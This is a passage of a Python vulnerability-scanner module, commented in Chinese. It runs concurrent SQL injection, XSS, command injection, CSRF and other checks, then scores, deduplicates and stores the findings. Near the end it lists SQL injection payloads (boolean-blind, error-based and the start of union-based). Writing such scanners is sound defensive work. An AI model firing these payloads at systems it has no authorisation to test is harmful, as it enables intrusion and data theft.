    logger.info(f"配置异步连接池: 最大连接数={connector.limit}, 最大工作线程={max_workers}")
    
    # 创建异步任务列表
    scan_tasks = []
    
    # 为每种漏洞类型创建异步扫描任务
    for scan_type in scan_types:
        # 动态配置每种扫描类型的超时和重试参数
        scan_config = {
            'sql_injection': {'timeout': 60, 'retries': 3},
            'xss': {'timeout': 45, 'retries': 3},
            'info_leak': {'timeout': 30, 'retries': 2},
            'command_injection': {'timeout': 45, 'retries': 2},
            'csrf': {'timeout': 20, 'retries': 2},
            'security_headers': {'timeout': 15, 'retries': 1}
        }
        
        config = scan_config.get(scan_type, {'timeout': 30, 'retries': 2})
        
        # 创建扫描任务
        task = _async_scan_vulnerability(
            target_url, 
            scan_type, 
            scan_depth,
            connector=connector,
            timeout=config['timeout'],
            retries=config['retries']
        )
        scan_tasks.append(task)
    
    # 并发执行所有扫描任务
    update_scan_progress(scan_id, 15, f"启动{len(scan_tasks)}个并发扫描任务...")
    
    # 使用gather并发执行任务，设置整体超时
    try:
        task_results = await asyncio.gather(*scan_tasks, return_exceptions=True)
        
        # 处理任务结果
        for i, result in enumerate(task_results):
            scan_type = scan_types[i]
            
            if isinstance(result, Exception):
                logger.error(f"扫描类型 {scan_type} 失败: {str(result)}")
            elif result:
                logger.info(f"扫描类型 {scan_type} 完成，发现 {len(result)} 个漏洞")
                all_vulnerabilities.extend(result)
            else:
                logger.info(f"扫描类型 {scan_type} 完成，未发现漏洞")
    except asyncio.TimeoutError:
        logger.error("异步扫描任务超时")
    except Exception as e:
        logger.error(f"异步扫描任务执行失败: {str(e)}")
    finally:
        # 确保关闭连接器
        await connector.close()
    
    # 更新进度
    update_scan_progress(scan_id, 80, "正在处理漏洞结果...")
    
    # 批量处理漏洞结果（风险评估和修复建议）
    processed_vulnerabilities = await _process_vulnerabilities_batch(all_vulnerabilities)
    
    # 漏洞去重和优先级排序
    unique_vulnerabilities = _remove_duplicate_vulnerabilities(processed_vulnerabilities)
    sorted_vulnerabilities = _sort_vulnerabilities_by_risk(unique_vulnerabilities)
    
    # 保存到数据库
    save_vulnerabilities(scan_id, sorted_vulnerabilities)
    
    # 计算扫描统计信息
    scan_duration = time.time() - start_time
    scan_finished_at = datetime.utcnow()
    
    # 更新扫描状态
    scan.status = 'completed'
    scan.finished_at = scan_finished_at
    scan.scan_duration = scan_duration
    db.session.commit()
    
    update_scan_progress(scan_id, 100, f"扫描完成，发现 {len(sorted_vulnerabilities)} 个漏洞")
    
    logger.info(f"异步扫描完成: {target_url}, 总耗时: {scan_duration:.2f}秒, 发现 {len(sorted_vulnerabilities)} 个漏洞")
    
    # 检查是否有高危漏洞，如有则发送警报
    high_vulnerabilities = [v for v in sorted_vulnerabilities if v.get('severity') == 'high']
    if high_vulnerabilities:
        try:
            from app.services.notification_service import NotificationService
            NotificationService.send_high_vulnerability_alert(scan_id, high_vulnerabilities)
        except Exception as e:
            logger.error(f"发送高危漏洞警报失败: {str(e)}")
    
    # 发送扫描完成通知
    try:
        from app.services.notification_service import NotificationService
        NotificationService.send_scan_completion_notification(scan_id)
    except Exception as e:
        logger.error(f"发送扫描完成通知失败: {str(e)}")
    
    # 准备扫描结果
    return {
        'scan_id': scan_id,
        'target': target_url,
        'status': 'completed',
        'vulnerabilities': sorted_vulnerabilities,
        'scan_duration': scan_duration,
        'vulnerability_count': len(sorted_vulnerabilities)
    }

async def _async_scan_vulnerability(target_url, vuln_type, scan_depth, connector, timeout=30, retries=2):
    """
    异步执行单个漏洞类型的扫描
    :param target_url: 目标URL
    :param vuln_type: 漏洞类型
    :param scan_depth: 扫描深度
    :param connector: aiohttp连接器
    :param timeout: 超时时间
    :param retries: 重试次数
    :return: 漏洞列表
    """
    import asyncio
    from app.utils.logger import logger
    
    logger.info(f"启动异步{_get_vuln_type_name(vuln_type)}扫描: {target_url}")
    
    # 根据漏洞类型选择扫描函数
    for attempt in range(retries + 1):
        try:
            # 使用超时机制
            vulnerabilities = await asyncio.wait_for(
                _execute_vulnerability_scan(target_url, vuln_type, scan_depth, connector),
                timeout=timeout
            )
            
            logger.info(f"异步{_get_vuln_type_name(vuln_type)}扫描成功完成: {len(vulnerabilities)}个漏洞")
            return vulnerabilities
            
        except asyncio.TimeoutError:
            logger.warning(f"异步扫描超时 ({attempt+1}/{retries+1}), 重试中...")
            if attempt < retries:
                # 指数退避策略
                backoff_time = 1.0 * (2 ** attempt) + random.uniform(0, 1)
                await asyncio.sleep(backoff_time)
        except Exception as e:
            logger.error(f"异步扫描失败 ({attempt+1}/{retries+1}): {str(e)}")
            if attempt < retries:
                backoff_time = 1.0 * (2 ** attempt) + random.uniform(0, 1)
                await asyncio.sleep(backoff_time)
    
    logger.error(f"所有异步扫描尝试均失败: {_get_vuln_type_name(vuln_type)}")
    return []

async def _execute_vulnerability_scan(target_url, vuln_type, scan_depth, connector):
    """
    执行具体的漏洞扫描逻辑
    """
    from app.utils.http_utils import make_request_async
    
    # 这里可以根据漏洞类型执行不同的扫描逻辑
    # 对于异步扫描，我们需要适配原有的同步扫描函数
    # 为了简化，我们可以使用线程池执行器来运行同步函数
    import concurrent.futures
    
    loop = asyncio.get_event_loop()
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        # 调用原有的扫描函数
        if vuln_type == 'sql_injection':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_sql_injection(target_url, scan_depth)
            )
        elif vuln_type == 'xss':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_xss(target_url, scan_depth)
            )
        elif vuln_type == 'info_leak':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_info_leak(target_url)
            )
        elif vuln_type == 'command_injection':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_command_injection(target_url, scan_depth)
            )
        elif vuln_type == 'csrf':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_csrf(target_url, scan_depth)
            )
        elif vuln_type == 'security_headers':
            vulnerabilities = await loop.run_in_executor(
                executor, lambda: scan_security_headers(target_url)
            )
        else:
            vulnerabilities = []
    
    return vulnerabilities

async def _process_vulnerabilities_batch(vulnerabilities, batch_size=50):
    """
    批量异步处理漏洞（风险评估和修复建议）
    :param vulnerabilities: 漏洞列表
    :param batch_size: 批次大小
    :return: 处理后的漏洞列表
    """
    import concurrent.futures
    from app.utils.logger import logger
    
    processed_vulnerabilities = []
    
    # 分批处理
    for i in range(0, len(vulnerabilities), batch_size):
        batch = vulnerabilities[i:i+batch_size]
        logger.info(f"处理漏洞批次: {i//batch_size + 1}, 数量: {len(batch)}")
        
        # 使用线程池并发处理每个漏洞
        loop = asyncio.get_event_loop()
        with concurrent.futures.ThreadPoolExecutor(max_workers=min(20, len(batch))) as executor:
            # 为每个漏洞创建处理任务
            tasks = []
            for vuln in batch:
                task = loop.run_in_executor(executor, _process_single_vulnerability, vuln)
                tasks.append(task)
            
            # 等待所有任务完成
            batch_results = await asyncio.gather(*tasks, return_exceptions=True)
            
            # 收集结果
            for result in batch_results:
                if isinstance(result, Exception):
                    logger.error(f"处理漏洞时出错: {str(result)}")
                elif result:
                    processed_vulnerabilities.append(result)
    
    return processed_vulnerabilities

def _process_single_vulnerability(vulnerability):
    """
    处理单个漏洞（风险评估和修复建议）
    """
    try:
        # 风险评估
        from app.services.risk_assessment import predict_risk
        risk_info = predict_risk(vulnerability)
        vulnerability['risk_score'] = risk_info['risk_score']
        vulnerability['severity'] = risk_info['severity']
        
        # 生成修复建议
        from app.services.repair_suggestion import generate_suggestion
        vulnerability['suggestion'] = generate_suggestion(vulnerability)
        
        return vulnerability
    except Exception as e:
        # 处理失败时的默认值
        vulnerability.setdefault('risk_score', 0.5)
        vulnerability.setdefault('severity', 'medium')
        vulnerability.setdefault('suggestion', '无法生成详细修复建议，请手动检查')
        return vulnerability

def _remove_duplicate_vulnerabilities(vulnerabilities):
    """
    高效去重漏洞
    """
    unique_vulns = {}
    
    for vuln in vulnerabilities:
        # 生成唯一键
        key_parts = [
            vuln.get('path', ''),
            vuln.get('vuln_type', ''),
            vuln.get('parameter', ''),
            vuln.get('payload', '')[:50] if 'payload' in vuln else '',
            vuln.get('form_field', '')
        ]
        
        unique_key = '_'.join([str(part) for part in key_parts if part])
        
        # 如果键不存在，或者当前漏洞风险更高，则替换
        if unique_key not in unique_vulns or \
           _get_severity_rank(vuln.get('severity', 'low')) < _get_severity_rank(unique_vulns[unique_key].get('severity', 'low')):
            unique_vulns[unique_key] = vuln
    
    return list(unique_vulns.values())

def _sort_vulnerabilities_by_risk(vulnerabilities):
    """
    根据风险排序漏洞
    """
    # 首先按严重程度排序，然后按风险分数排序
    return sorted(vulnerabilities, 
                  key=lambda x: (_get_severity_rank(x.get('severity', 'low')), 
                                -x.get('risk_score', 0)))

def _get_severity_rank(severity):
    """
    获取严重程度的排序值
    """
    severity_ranks = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3}
    return severity_ranks.get(severity.lower(), 999)

def _get_vuln_type_name(vuln_type):
    """
    获取漏洞类型的可读名称
    """
    vuln_names = {
        'sql_injection': 'SQL注入',
        'xss': 'XSS跨站脚本',
        'info_leak': '信息泄露',
        'command_injection': '命令注入',
        'csrf': 'CSRF跨站请求伪造',
        'security_headers': '安全响应头',
        'broken_access_control': '访问控制缺陷',
        'insecure_deserialization': '不安全的反序列化',
        'path_traversal': '路径遍历',
        'file_upload': '不安全的文件上传',
        'weak_password': '弱密码检测',
        'subdomain_takeover': '子域名接管',
        'cors_misconfiguration': 'CORS配置错误',
        'ssl_tls_issues': 'SSL/TLS配置问题'
    }
    return vuln_names.get(vuln_type, vuln_type)

def _run_enhanced_sync_scan(scan_id, target, scan_depth, scan_types):
    """
    增强的同步扫描版本
    虽然是同步的，但使用线程池实现并行扫描
    """
    import time
    from datetime import datetime
    from app.utils.logger import logger
    from app.utils.http_utils import normalize_url
    from app.utils.redis_config import update_scan_progress
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    start_time = time.time()
    all_vulnerabilities = []
    
    # 标准化URL
    target_url = normalize_url(target)
    logger.info(f"执行增强同步扫描: {target_url}, 深度: {scan_depth}")
    
    # 更新扫描状态
    update_scan_progress(scan_id, 5, "初始化增强扫描环境...")
    
    # 创建数据库记录
    from app.models.database import db, Scan
    scan = Scan.query.get(scan_id)
    if not scan:
        scan = Scan(
            id=scan_id,
            target=target_url,
            status='running',
            scan_depth=scan_depth,
            created_at=datetime.utcnow()
        )
        db.session.add(scan)
        db.session.commit()
    else:
        scan.status = 'running'
        db.session.commit()
    
    # 使用线程池并行扫描
    max_workers = min(10, len(scan_types) * 2)
    logger.info(f"配置线程池: 最大工作线程={max_workers}")
    
    # 更新进度
    update_scan_progress(scan_id, 15, f"启动{len(scan_types)}个并行扫描任务...")
    
    # 执行并行扫描
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        # 提交扫描任务
        future_to_scan = {}
        for scan_type in scan_types:
            if scan_type == 'info_leak':
                future = executor.submit(scan_info_leak, target_url)
            else:
                future = executor.submit(scan_vulnerability_by_type, target_url, scan_type, scan_depth)
            future_to_scan[future] = scan_type
        
        # 处理完成的任务
        completed_count = 0
        for future in as_completed(future_to_scan):
            scan_type = future_to_scan[future]
            completed_count += 1
            
            try:
                vulnerabilities = future.result(timeout=120)  # 单个扫描任务的超时
                if vulnerabilities:
                    all_vulnerabilities.extend(vulnerabilities)
                    logger.info(f"扫描类型 {scan_type} 完成，发现 {len(vulnerabilities)} 个漏洞")
                else:
                    logger.info(f"扫描类型 {scan_type} 完成，未发现漏洞")
            except Exception as e:
                logger.error(f"扫描类型 {scan_type} 失败: {str(e)}")
            
            # 更新进度
            progress = 15 + int(completed_count / len(scan_types) * 70)
            update_scan_progress(scan_id, progress, f"已完成 {completed_count}/{len(scan_types)} 种扫描类型")
    
    # 处理漏洞结果
    update_scan_progress(scan_id, 85, "处理漏洞结果...")
    
    # 去重和排序
    unique_vulnerabilities = _remove_duplicate_vulnerabilities(all_vulnerabilities)
    
    # 批量处理风险评估
    processed_vulnerabilities = []
    for vuln in unique_vulnerabilities:
        try:
            processed_vuln = _process_single_vulnerability(vuln)
            processed_vulnerabilities.append(processed_vuln)
        except Exception as e:
            logger.error(f"处理漏洞失败: {str(e)}")
    
    # 排序
    sorted_vulnerabilities = _sort_vulnerabilities_by_risk(processed_vulnerabilities)
    
    # 保存到数据库
    save_vulnerabilities(scan_id, sorted_vulnerabilities)
    
    # 更新扫描状态
    scan_duration = time.time() - start_time
    scan_finished_at = datetime.utcnow()
    
    scan.status = 'completed'
    scan.finished_at = scan_finished_at
    scan.scan_duration = scan_duration
    db.session.commit()
    
    update_scan_progress(scan_id, 100, f"扫描完成，发现 {len(sorted_vulnerabilities)} 个漏洞")
    
    logger.info(f"增强同步扫描完成: {target_url}, 耗时: {scan_duration:.2f}秒, 发现 {len(sorted_vulnerabilities)} 个漏洞")
    
    # 检查是否有高危漏洞，如有则发送警报
    high_vulnerabilities = [v for v in sorted_vulnerabilities if v.get('severity') == 'high']
    if high_vulnerabilities:
        try:
            from app.services.notification_service import NotificationService
            NotificationService.send_high_vulnerability_alert(scan_id, high_vulnerabilities)
        except Exception as e:
            logger.error(f"发送高危漏洞警报失败: {str(e)}")
    
    # 发送扫描完成通知
    try:
        from app.services.notification_service import NotificationService
        NotificationService.send_scan_completion_notification(scan_id)
    except Exception as e:
        logger.error(f"发送扫描完成通知失败: {str(e)}")
    
    return {
        'scan_id': scan_id,
        'target': target_url,
        'status': 'completed',
        'vulnerabilities': sorted_vulnerabilities,
        'scan_duration': scan_duration,
        'vulnerability_count': len(sorted_vulnerabilities)
    }

def scan_for_vulnerability(target, vuln_type, scan_depth, concurrent=True, retries=2):
    """
    执行真实的漏洞扫描 - 增强版
    
    :param target: 扫描目标URL
    :param vuln_type: 漏洞类型
    :param scan_depth: 扫描深度
    :param concurrent: 是否启用并发扫描
    :param retries: 失败重试次数
    :return: 增强的漏洞列表（已去重、排序和风险评估）
    """
    import time
    from functools import partial
    vulnerabilities = []
    
    # 导入工具函数
    from app.utils.http_utils import normalize_url, make_request, get_url_content, extract_links, check_url_accessibility
    from app.utils.security_tools import (
        detect_sql_injection, detect_xss, check_sensitive_files,
        generate_vulnerability_id, extract_form_data, analyze_response_headers
    )
    
    # 定义支持的漏洞类型和配置
    vuln_config = {
        'sql_injection': {
            'function': scan_sql_injection,
            'concurrent_function': _sql_injection_concurrent,
            'description': 'SQL注入漏洞',
            'risk_level': 'high',
            'needs_params': True
        },
        'xss': {
            'function': scan_xss,
            'concurrent_function': _xss_concurrent,
            'description': '跨站脚本漏洞',
            'risk_level': 'high',
            'needs_params': True
        },
        'info_leak': {
            'function': scan_info_leak,
            'concurrent_function': _info_leak_concurrent,
            'description': '信息泄露漏洞',
            'risk_level': 'medium',
            'needs_params': False
        },
        'command_injection': {
            'function': scan_command_injection,
            'concurrent_function': _command_injection_concurrent,
            'description': '命令注入漏洞',
            'risk_level': 'high',
            'needs_params': True
        },
        'csrf': {
            'function': scan_csrf,
            'concurrent_function': _csrf_concurrent,
            'description': '跨站请求伪造漏洞',
            'risk_level': 'medium',
            'needs_params': False
        },
        'security_headers': {
            'function': scan_security_headers,
            'concurrent_function': None,
            'description': 'HTTP安全响应头缺失',
            'risk_level': 'medium',
            'needs_params': False
        },
        'broken_access_control': {
            'function': scan_broken_access_control,
            'concurrent_function': None,
            'description': '访问控制缺陷',
            'risk_level': 'high',
            'needs_params': True
        },
        'insecure_deserialization': {
            'function': scan_insecure_deserialization,
            'concurrent_function': None,
            'description': '不安全的反序列化',
            'risk_level': 'high',
            'needs_params': True
        },
        'path_traversal': {
            'function': scan_path_traversal,
            'concurrent_function': None,
            'description': '路径遍历漏洞',
            'risk_level': 'high',
            'needs_params': True
        },
        'file_upload': {
            'function': scan_file_upload,
            'concurrent_function': None,
            'description': '不安全的文件上传',
            'risk_level': 'high',
            'needs_params': True
        },
        'weak_password': {
            'function': scan_weak_password,
            'concurrent_function': None,
            'description': '弱密码检测',
            'risk_level': 'high',
            'needs_params': True
        },
        'subdomain_takeover': {
            'function': scan_subdomain_takeover,
            'concurrent_function': None,
            'description': '子域名接管漏洞',
            'risk_level': 'high',
            'needs_params': False
        },
        'cors_misconfiguration': {
            'function': scan_cors_misconfiguration,
            'concurrent_function': None,
            'description': 'CORS配置错误',
            'risk_level': 'medium',
            'needs_params': False
        },
        'ssl_tls_issues': {
            'function': scan_ssl_tls_issues,
            'concurrent_function': None,
            'description': 'SSL/TLS配置问题',
            'risk_level': 'medium',
            'needs_params': False
        },
        'ssrf': {
            'function': scan_ssrf,
            'concurrent_function': None,
            'description': '服务器端请求伪造漏洞',
            'risk_level': 'high',
            'needs_params': True
        }
    }
    
    # 验证漏洞类型
    if vuln_type not in vuln_config:
        logger.error(f"不支持的漏洞类型: {vuln_type}")
        # 添加错误信息到结果中
        return [{
            'vuln_id': generate_vulnerability_id('error'),
            'vuln_type': 'error',
            'path': target,
            'evidence': f'不支持的漏洞类型: {vuln_type}',
            'raw_score': 0,
            'severity': 'low',
            'error': True
        }]
    
    # 确保目标URL格式正确
    target_url = normalize_url(target)
    start_time = time.time()
    
    logger.info(f"开始增强漏洞扫描: {target_url}, 类型: {vuln_type}, 深度: {scan_depth}, 并发: {concurrent}")
    
    # 预检查URL可访问性
    accessibility = check_url_accessibility(target_url)
    if not accessibility['accessible']:
        logger.warning(f"URL不可访问: {target_url}, 原因: {accessibility['reason']}")
        
        # 对于某些漏洞类型，即使URL不可访问也尝试扫描
        if vuln_type not in ['info_leak', 'security_headers']:
            logger.warning(f"由于URL不可访问，跳过{ vuln_config[vuln_type]['description'] }扫描")
            return [{
                'vuln_id': generate_vulnerability_id('error'),
                'vuln_type': 'error',
                'path': target_url,
                'evidence': f'URL不可访问: {accessibility["reason"]}',
                'raw_score': 0,
                'severity': 'low',
                'error': True
            }]
    
    # 动态检测目标应用技术栈（为后续扫描提供上下文）
    tech_stack = detect_tech_stack(target_url)
    logger.info(f"目标技术栈检测结果: {tech_stack}")
    
    # 根据漏洞类型执行扫描
    config = vuln_config[vuln_type]
    
    # 使用重试机制执行扫描
    for attempt in range(retries + 1):
        try:
            if concurrent and config['concurrent_function'] and scan_depth == 1:
                # 深度为1且支持并发时使用并发扫描
                logger.info(f"使用并发模式执行{config['description']}扫描")
                vulnerabilities = config['concurrent_function'](target_url, scan_depth)
            else:
                # 使用标准扫描函数
                if config['function'] == scan_info_leak:
                    # 信息泄露扫描参数略有不同
                    vulnerabilities = config['function'](target_url)
                else:
                    vulnerabilities = config['function'](target_url, scan_depth)
                
            # 扫描成功，跳出重试循环
            break
            
        except Exception as e:
            logger.error(f"扫描尝试失败 ({attempt+1}/{retries+1}): {str(e)}", exc_info=True)
            
            if attempt < retries:
                # 计算退避时间
                backoff_time = 1.0 * (2 ** attempt) + random.uniform(0, 1)
                logger.info(f"{backoff_time:.2f}秒后重试...")
                time.sleep(backoff_time)
            else:
                logger.error(f"所有扫描尝试均失败，返回错误")
                # 返回错误信息
                return [{
                    'vuln_id': generate_vulnerability_id('error'),
                    'vuln_type': 'error',
                    'path': target_url,
                    'evidence': f'扫描失败: {str(e)}',
                    'raw_score': 0,
                    'severity': 'low',
                    'error': True
                }]
    
    # 增强扫描结果
    enhanced_vulnerabilities = enhance_vulnerability_results(vulnerabilities, vuln_type, tech_stack)
    
    # 执行漏洞去重
    unique_vulnerabilities = remove_duplicate_vulnerabilities(enhanced_vulnerabilities)
    
    # 基于扫描深度的额外检查
    if scan_depth > 1 and len(unique_vulnerabilities) < 5:  # 如果发现的漏洞较少，执行更深层次扫描
        logger.info(f"执行深度{scan_depth}的额外扫描以发现更多潜在漏洞")
        additional_vulnerabilities = execute_deep_scan(target_url, vuln_type, scan_depth, tech_stack)
        
        # 合并并去重
        combined_vulnerabilities = unique_vulnerabilities + additional_vulnerabilities
        unique_vulnerabilities = remove_duplicate_vulnerabilities(combined_vulnerabilities)
    
    # 执行风险评估和排序
    from app.services.risk_assessment import predict_risk
    final_vulnerabilities = []
    
    for vuln in unique_vulnerabilities:
        try:
            # 获取风险评分
            risk_info = predict_risk(vuln)
            vuln['risk_score'] = risk_info['risk_score']
            vuln['severity'] = risk_info['severity']
            
            # 生成修复建议
            from app.services.repair_suggestion import generate_suggestion
            vuln['suggestion'] = generate_suggestion(vuln)
            
            final_vulnerabilities.append(vuln)
        except Exception as e:
            logger.error(f"处理漏洞信息失败: {str(e)}")
            # 即使处理失败，也添加到结果中
            vuln.setdefault('risk_score', 0.5)
            vuln.setdefault('severity', 'medium')
            vuln.setdefault('suggestion', '无法生成详细修复建议，请手动检查')
            final_vulnerabilities.append(vuln)
    
    # 按严重程度排序
    sorted_vulnerabilities = sorted(final_vulnerabilities, 
                                   key=lambda x: (0 if x['severity'] == 'high' else 
                                                 1 if x['severity'] == 'medium' else 2, 
                                                 -x.get('risk_score', 0)))
    
    scan_duration = time.time() - start_time
    logger.info(f"扫描完成: {target_url}, 发现 {len(sorted_vulnerabilities)} 个漏洞, 耗时: {scan_duration:.2f}秒")
    
    # 添加扫描元数据
    for vuln in sorted_vulnerabilities:
        vuln['scan_time'] = datetime.now().isoformat()
        vuln['scan_duration'] = scan_duration
        vuln['scan_depth'] = scan_depth
        vuln['target_info'] = tech_stack
    
    return sorted_vulnerabilities

def detect_tech_stack(url):
    """
    检测目标网站的技术栈
    :param url: 目标URL
    :return: 技术栈信息字典
    """
    try:
        response = make_request(url, timeout=10)
        if not response:
            return {'status': 'unknown'}
        
        tech_stack = {
            'status': 'success',
            'server': response.headers.get('Server', 'unknown'),
            'x_powered_by': response.headers.get('X-Powered-By', 'unknown'),
            'content_type': response.headers.get('Content-Type', 'unknown'),
            'cookies': list(response.cookies.keys()),
            'detected_tech': []
        }
        
        # 基于响应头和内容检测技术
        headers_str = str(response.headers).lower()
        content_lower = response.text.lower()
        
        # 检测常见Web框架
        if 'django' in headers_str or 'django' in content_lower:
            tech_stack['detected_tech'].append('Django')
        if 'flask' in headers_str or 'flask' in content_lower:
            tech_stack['detected_tech'].append('Flask')
        if 'laravel' in content_lower or 'laravel_session' in headers_str:
            tech_stack['detected_tech'].append('Laravel')
        if 'symfony' in content_lower:
            tech_stack['detected_tech'].append('Symfony')
        if 'rails' in content_lower or 'rails' in headers_str:
            tech_stack['detected_tech'].append('Ruby on Rails')
        if 'spring' in content_lower or 'spring' in headers_str:
            tech_stack['detected_tech'].append('Spring')
        if 'node.js' in headers_str or 'express' in content_lower:
            tech_stack['detected_tech'].append('Node.js/Express')
            
        # 检测数据库特征
        if 'mysql' in content_lower:
            tech_stack['detected_tech'].append('MySQL')
        if 'postgresql' in content_lower or 'postgres' in content_lower:
            tech_stack['detected_tech'].append('PostgreSQL')
        if 'oracle' in content_lower:
            tech_stack['detected_tech'].append('Oracle')
        if 'sql server' in content_lower:
            tech_stack['detected_tech'].append('SQL Server')
        
        # 检测前端技术
        if 'react' in content_lower:
            tech_stack['detected_tech'].append('React')
        if 'vue' in content_lower:
            tech_stack['detected_tech'].append('Vue.js')
        if 'angular' in content_lower:
            tech_stack['detected_tech'].append('Angular')
            
        return tech_stack
    except Exception as e:
        logger.error(f"技术栈检测失败: {str(e)}")
        return {'status': 'error', 'error': str(e)}

def enhance_vulnerability_results(vulnerabilities, vuln_type, tech_stack):
    """
    增强漏洞结果，添加更多上下文信息
    :param vulnerabilities: 原始漏洞列表
    :param vuln_type: 漏洞类型
    :param tech_stack: 目标技术栈
    :return: 增强后的漏洞列表
    """
    enhanced = []
    
    for vuln in vulnerabilities:
        # 确保每个漏洞都有必要的字段
        if 'vuln_id' not in vuln:
            vuln['vuln_id'] = generate_vulnerability_id(vuln_type)
        
        if 'vuln_type' not in vuln:
            vuln['vuln_type'] = vuln_type
        
        # 基于技术栈调整漏洞风险
        if tech_stack.get('status') == 'success':
            # 根据检测到的技术调整评分
            vuln['detected_tech'] = tech_stack.get('detected_tech', [])
            
            # 例如：对于SQL注入，如果检测到MySQL，则增加原始评分
            if vuln_type == 'sql_injection' and 'MySQL' in tech_stack.get('detected_tech', []):
                vuln['raw_score'] = min(vuln.get('raw_score', 0.5) + 0.1, 1.0)
        
        # 添加漏洞细节
        vuln['details'] = {
            'timestamp': datetime.now().isoformat(),
            'detection_method': 'active_scan',
            'scan_type': vuln_type
        }
        
        enhanced.append(vuln)
    
    return enhanced

def execute_deep_scan(url, vuln_type, depth, tech_stack):
    """
    执行深度扫描以发现更多潜在漏洞
    :param url: 目标URL
    :param vuln_type: 漏洞类型
    :param depth: 扫描深度
    :param tech_stack: 目标技术栈
    :return: 额外发现的漏洞列表
    """
    additional_vulnerabilities = []
    logger.info(f"执行深度扫描: {url}, 深度: {depth}")
    
    # 提取页面链接用于深度扫描
    links = extract_links(url, max_depth=depth)
    logger.info(f"深度扫描发现 {len(links)} 个链接")
    
    # 对发现的链接进行优先级排序
    prioritized_links = prioritize_links(links, tech_stack)
    
    # 限制扫描的链接数量，避免过度扫描
    scan_links = prioritized_links[:min(20, len(prioritized_links))]  # 最多扫描20个链接
    
    # 使用并发扫描额外的链接
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        # 为每个链接创建扫描任务
        future_to_link = {}
        
        for link in scan_links:
            if vuln_type == 'info_leak':
                # 信息泄露扫描的参数略有不同
                future_to_link[executor.submit(scan_info_leak, link)] = link
            else:
                future_to_link[executor.submit(scan_vulnerability_by_type, link, vuln_type, 1)] = link
        
        # 收集结果
        for future in concurrent.futures.as_completed(future_to_link):
            link = future_to_link[future]
            try:
                result = future.result(timeout=30)
                if result:
                    additional_vulnerabilities.extend(result)
            except Exception as e:
                logger.error(f"深度扫描链接 {link} 失败: {str(e)}")
    
    logger.info(f"深度扫描完成，额外发现 {len(additional_vulnerabilities)} 个潜在漏洞")
    return additional_vulnerabilities

def prioritize_links(links, tech_stack):
    """
    根据潜在风险对链接进行优先级排序
    :param links: 链接列表
    :param tech_stack: 技术栈信息
    :return: 排序后的链接列表
    """
    # 定义高风险路径模式
    high_risk_patterns = [
        '/admin', '/login', '/register', '/profile', '/settings',
        '/api', '/database', '/config', '/backup', '/uploads',
        '/debug', '/test', '/dev', '/staging', '?id=', '?user=',
        '?action=', '?page=', '?file=', '?query='
    ]
    
    # 为链接打分
    scored_links = []
    for link in links:
        score = 0
        
        # 根据URL特征评分
        for pattern in high_risk_patterns:
            if pattern in link:
                score += 1
        
        # 根据技术栈特征调整评分
        if tech_stack.get('detected_tech'):
            # 针对不同技术栈的特定风险路径
            for tech in tech_stack['detected_tech']:
                if tech == 'Django' and '/admin/' in link:
                    score += 2
                elif tech == 'WordPress' and ('/wp-admin/' in link or '/wp-content/' in link):
                    score += 2
                elif tech == 'Laravel' and ('/admin/' in link or '/dashboard/' in link):
                    score += 2
        
        scored_links.append((-score, link))  # 负分用于降序排序
    
    # 按分数排序
    scored_links.sort()
    
    # 返回排序后的链接列表
    return [link for _, link in scored_links]

def scan_vulnerability_by_type(url, vuln_type, scan_depth):
    """
    按类型扫描单个URL的漏洞
    这是一个辅助函数，用于深度扫描中的链接扫描
    """
    try:
        if vuln_type == 'sql_injection':
            return scan_sql_injection(url, scan_depth)
        elif vuln_type == 'xss':
            return scan_xss(url, scan_depth)
        elif vuln_type == 'command_injection':
            return scan_command_injection(url, scan_depth)
        elif vuln_type == 'csrf':
            return scan_csrf(url, scan_depth)
        elif vuln_type == 'security_headers':
            return scan_security_headers(url)
        elif vuln_type == 'broken_access_control':
            return scan_broken_access_control(url, scan_depth)
        elif vuln_type == 'insecure_deserialization':
            return scan_insecure_deserialization(url, scan_depth)
        else:
            return []
    except Exception as e:
        logger.error(f"按类型扫描 {url} 失败: {str(e)}")
        return []

def check_url_accessibility(url):
    """
    检查URL的可访问性，提供详细信息
    :param url: 要检查的URL
    :return: 包含可访问性信息的字典
    """
    try:
        response = make_request(url, timeout=10, allow_redirects=True)
        
        if response:
            return {
                'accessible': True,
                'status_code': response.status_code,
                'reason': '访问成功',
                'content_length': len(response.content),
                'content_type': response.headers.get('Content-Type'),
                'server': response.headers.get('Server')
            }
        else:
            return {
                'accessible': False,
                'reason': '无响应'
            }
    except requests.exceptions.ConnectionError:
        return {
            'accessible': False,
            'reason': '连接错误'
        }
    except requests.exceptions.Timeout:
        return {
            'accessible': False,
            'reason': '连接超时'
        }
    except requests.exceptions.RequestException as e:
        return {
            'accessible': False,
            'reason': f'请求异常: {str(e)}'
        }
    except Exception as e:
        return {
            'accessible': False,
            'reason': f'未知错误: {str(e)}'
        }

def scan_sql_injection(target_url, scan_depth):
    """执行SQL注入漏洞扫描 - 增强版"""
    import urllib.parse
    from app.utils.http_utils import make_request, extract_links, normalize_url
    from app.utils.security_tools import detect_sql_injection, generate_vulnerability_id, extract_form_data
    
    vulnerabilities = []
    scanned_urls = set()
    urls_to_scan = [normalize_url(target_url)]
    
    # 高级SQL注入测试载荷 - 分类优化
    sql_payloads = {
        'boolean_blind': [
            "' AND 1=1 --", "' AND 1=2 --", "1 AND 1=1", "1 AND 1=2",
            "' OR '1'='1' --", "' OR '1'='2' --", "1 OR 1=1", "1 OR 1=2"
        ],
        'error_based': [
            "' AND 1=CONVERT(int, (SELECT @@version)) --",
            "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --",
            "' OR 1=UTL_INADDR.get_host_name((SELECT user FROM dual)) --",  # Oracle
            "' OR pg_sleep(1) --",  # PostgreSQL
            "' OR BENCHMARK(1000000, MD5('test')) --"  # MySQL
        ],
        'union_based': [
            "' UNION SELECT NULL --",
            "' UNION SELECT NULL,NULL --",
            "' UNION SELECT NULL,NULL,NULL --",
